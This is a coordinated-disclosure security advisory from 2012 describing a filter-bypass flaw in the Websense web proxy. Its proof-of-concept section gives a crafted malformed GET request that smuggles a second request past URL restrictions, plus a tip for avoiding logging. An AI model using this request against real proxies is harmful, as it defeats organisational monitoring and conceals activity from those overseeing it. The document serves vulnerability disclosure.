Websense Proxy Filter Bypass

`Websense Proxy Filter Bypass  
  
  
  
1. Advisory Information  
  
Date published: 2012-11-25  
  
Vendors contacted: Websense  
  
Release mode: Coordinated release (Vendor was notified)  
  
2. Vulnerability Information  
  
Class: Filter Bypass  
  
Remotely Exploitable: Yes  
  
  
  
3. Software Description  
  
Internet access management system allows an organization to monitor, report and manage internal Internet use.  
  
  
  
4. Vulnerability Description  
  
An authenticated user could successfully bypass URL restrictions and access unauthorized sites.  
  
5. Vulnerable packages  
  
All ? No patch available yet  
  
6. Technical Description - PoC  
  
It's possible to bypass the proxy filter by issuing the following specially crafted request:  
  
  
  
====  
  
GET www.facebook.com http/1.1  
  
Accept: text/Html, application/xHtml+xml, */*  
  
Accept-Language: es-AR  
  
Cache-Control: no-cache  
  
Content-length: 1  
  
  
  
GET ://OTHERURL/OTHEROTHER  
  
a  
  
====  
  
  
  
And Websense will fetch the Facebook site and log "OTHERURL" (which is also fetched in the background).  
  
  
  
To be completely stealth, just remove ?a? char and no log will be recorded.  
  
  
  
Limitations: It's only possible to issue GET requests.  
  
  
  
It will only work if the remote Webserver accepts malformed GET requests specifying a Content-Length, like Facebook, Hotmail, Etc. The attacker might use a WebProxy with this property, completely bypassing the filter.  
  
  
  
7. Credits  
  
Nahuel Grisolia discovered this vulnerability.  
  
[email protected]  
  
http://cintainfinita.com.ar  
  
  
  
8. Report Timeline  
  
* 2012-04-23 / Vulnerability identified  
  
* 2012-04-23 / Vendor contacted  
  
* 2012-04-23 / Vulnerability details sent to Vendor  
  
* 2012-04-23 ? 2012-11-24 / Multiple contacts  
  
* 2012-11-25 / Vulnerability Disclosed ? PoC attached  
  
`